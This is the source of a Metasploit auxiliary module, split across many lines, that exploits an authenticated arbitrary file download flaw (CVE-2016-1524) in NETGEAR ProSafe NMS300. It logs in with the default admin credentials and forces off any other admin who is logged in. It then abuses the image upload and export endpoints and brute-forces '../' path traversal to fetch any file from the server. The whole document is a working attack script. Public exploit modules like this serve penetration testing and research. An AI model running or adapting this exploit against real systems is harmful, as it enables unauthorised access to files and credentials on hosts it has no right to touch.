##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require
'msf/core'
class
Metasploit4 < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HttpClient
def
initialize(info = {})
super
(update_info(info,
'Name'
=>
'NETGEAR ProSafe Network Management System 300 Authenticated File Download'
,
'Description'
=> %q{
Netgear's ProSafe
NMS300
is a network management utility that runs on Windows systems.
The application has a file download vulnerability that can be exploited by an
authenticated remote attacker to download any file
in
the system..
This
module
has been tested with versions
1
.
5
.
0
.
2
,
1
.
4
.
0
.
17
and
1
.
1
.
0
.
13
.
},
'Author'
=>
[
'Pedro Ribeiro <pedrib[at]gmail.com>'
# Vulnerability discovery and updated MSF module
],
'License'
=>
MSF_LICENSE
,
'References'
=>
[
[
'CVE'
,
'2016-1524'
],
[
'US-CERT-VU'
,
'777024'
],
],
'DisclosureDate'
=>
'Feb 4 2016'
))
register_options(
[
Opt::
RPORT
(
8080
),
OptString.
new
(
'TARGETURI'
, [
true
,
"Application path"
,
'/'
]),
OptString.
new
(
'USERNAME'
, [
true
,
'The username to login as'
,
'admin'
]),
OptString.
new
(
'PASSWORD'
, [
true
,
'Password for the specified username'
,
'admin'
]),
OptString.
new
(
'FILEPATH'
, [
false
,
'Path of the file to download minus the drive letter'
,
'/Windows/System32/calc.exe'
]),
],
self
.
class
)
register_advanced_options(
[
OptInt.
new
(
'DEPTH'
, [
false
,
'Max depth to traverse'
,
15
])
],
self
.
class
)
end
def
authenticate
res = send_request_cgi({
'uri'
=> normalize_uri(datastore[
'TARGETURI'
],
'userSession.do'
),
'method'
=>
'POST'
,
'vars_post'
=> {
'userName'
=> datastore[
'USERNAME'
],
'password'
=> datastore[
'PASSWORD'
]
},
'vars_get'
=> {
'method'
=>
'login'
}
})
if
res && res.code ==
200
cookie = res.get_cookies
if
res.body.to_s =~ /
"loginOther"
:true
/ && res.body.to_s =~ /
"singleId"
:
"([A-Z0-9]*)"
/
# another admin is logged in, let's kick him out
res = send_request_cgi({
'uri'
=> normalize_uri(datastore[
'TARGETURI'
],
'userSession.do'
),
'method'
=>
'POST'
,
'cookie'
=> cookie,
'vars_post'
=> {
'singleId'
=>
$1
},
'vars_get'
=> {
'method'
=>
'loginAgain'
}
})
if
res && res.code ==
200
&& (
not
res.body.to_s =~ /
"success"
:true
/)
return
nil
end
end
return
cookie
end
return
nil
end
def
download_file (download_path, cookie)
filename = Rex::Text.rand_text_alphanumeric(
8
+ rand(
10
)) +
".img"
begin
res = send_request_cgi({
'method'
=>
'POST'
,
'cookie'
=> cookie,
'uri'
=> normalize_uri(datastore[
'TARGETURI'
],
'data'
,
'config'
,
'image.do'
),
'vars_get'
=> {
'method'
=>
'add'
},
'vars_post'
=> {
'realName'
=> download_path,
'md5'
=>
''
,
'fileName'
=> filename,
'version'
=> Rex::Text.rand_text_alphanumeric(
8
+ rand(
2
)),
'vendor'
=> Rex::Text.rand_text_alphanumeric(
4
+ rand(
3
)),
'deviceType'
=> rand(
999
),
'deviceModel'
=> Rex::Text.rand_text_alphanumeric(
5
+ rand(
3
)),
'description'
=> Rex::Text.rand_text_alphanumeric(
8
+ rand(
10
))
},
})
if
res && res.code ==
200
&& res.body.to_s =~ /
"success"
:true
/
res = send_request_cgi({
'method'
=>
'POST'
,
'cookie'
=> cookie,
'uri'
=> normalize_uri(datastore[
'TARGETURI'
],
'data'
,
'getPage.do'
),
'vars_get'
=> {
'method'
=>
'getPageList'
,
'type'
=>
'configImgManager'
,
},
'vars_post'
=> {
'everyPage'
=>
500
+ rand(
999
)
},
})
if
res && res.code ==
200
&& res.body.to_s =~ /
"imageId"
:
"([0-9]*)"
,
"fileName"
:
"#{filename}"
/
image_id =
$1
return
send_request_cgi({
'uri'
=> normalize_uri(datastore[
'TARGETURI'
],
'data'
,
'config'
,
'image.do'
),
'method'
=>
'GET'
,
'cookie'
=> cookie,
'vars_get'
=> {
'method'
=>
'export'
,
'imageId'
=> image_id
}
})
end
end
return
nil
rescue
Rex::ConnectionRefused
print_error(
"#{peer} - Could not connect."
)
return
end
end
def
save_file(filedata)
vprint_line(filedata.to_s)
fname =
File
.basename(datastore[
'FILEPATH'
])
path = store_loot(
'netgear.http'
,
'application/octet-stream'
,
datastore[
'RHOST'
],
filedata,
fname
)
print_good(
"File saved in: #{path}"
)
end
def
report_cred(opts)
service_data = {
address: rhost,
port: rport,
service_name:
'netgear'
,
protocol:
'tcp'
,
workspace_id: myworkspace_id
}
credential_data = {
origin_type:
:service
,
module_fullname: fullname,
username: opts[
:user
],
private_data: opts[
:password
],
private_type:
:password
}.merge(service_data)
login_data = {
last_attempted_at: DateTime.now,
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::
SUCCESSFUL
,
proof: opts[
:proof
]
}.merge(service_data)
create_credential_login(login_data)
end
def
run
cookie = authenticate
if
cookie ==
nil
fail_with(Failure::Unknown,
"#{peer} - Failed to log in with the provided credentials."
)
else
print_good(
"#{peer} - Logged in with #{datastore['USERNAME']}:#{datastore['PASSWORD']} successfully."
)
report_cred(
user: datastore[
'USERNAME'
],
password: datastore[
'PASSWORD'
],
proof: cookie
)
end
if
datastore[
'FILEPATH'
].blank?
fail_with(Failure::Unknown,
"#{peer} - Please supply the path of the file you want to download."
)
return
end
filepath = datastore[
'FILEPATH'
]
res = download_file(filepath, cookie)
if
res && res.code ==
200
if
res.body.to_s.bytesize !=
0
&& (
not
res.body.to_s =~/This file does
not
exist./) && (
not
res.body.to_s =~/operation is failed/)
save_file(res.body)
return
end
end
print_error(
"#{peer} - File not found, using bruteforce to attempt to download the file"
)
count =
1
while
count < datastore[
'DEPTH'
]
res = download_file((
"../"
* count).chomp(
'/'
) + filepath, cookie)
if
res && res.code ==
200
if
res.body.to_s.bytesize !=
0
&& (
not
res.body.to_s =~/This file does
not
exist./) && (
not
res.body.to_s =~/operation is failed/)
save_file(res.body)
return
end
end
count +=
1
end
print_error(
"#{peer} - Failed to download file."
)
end
end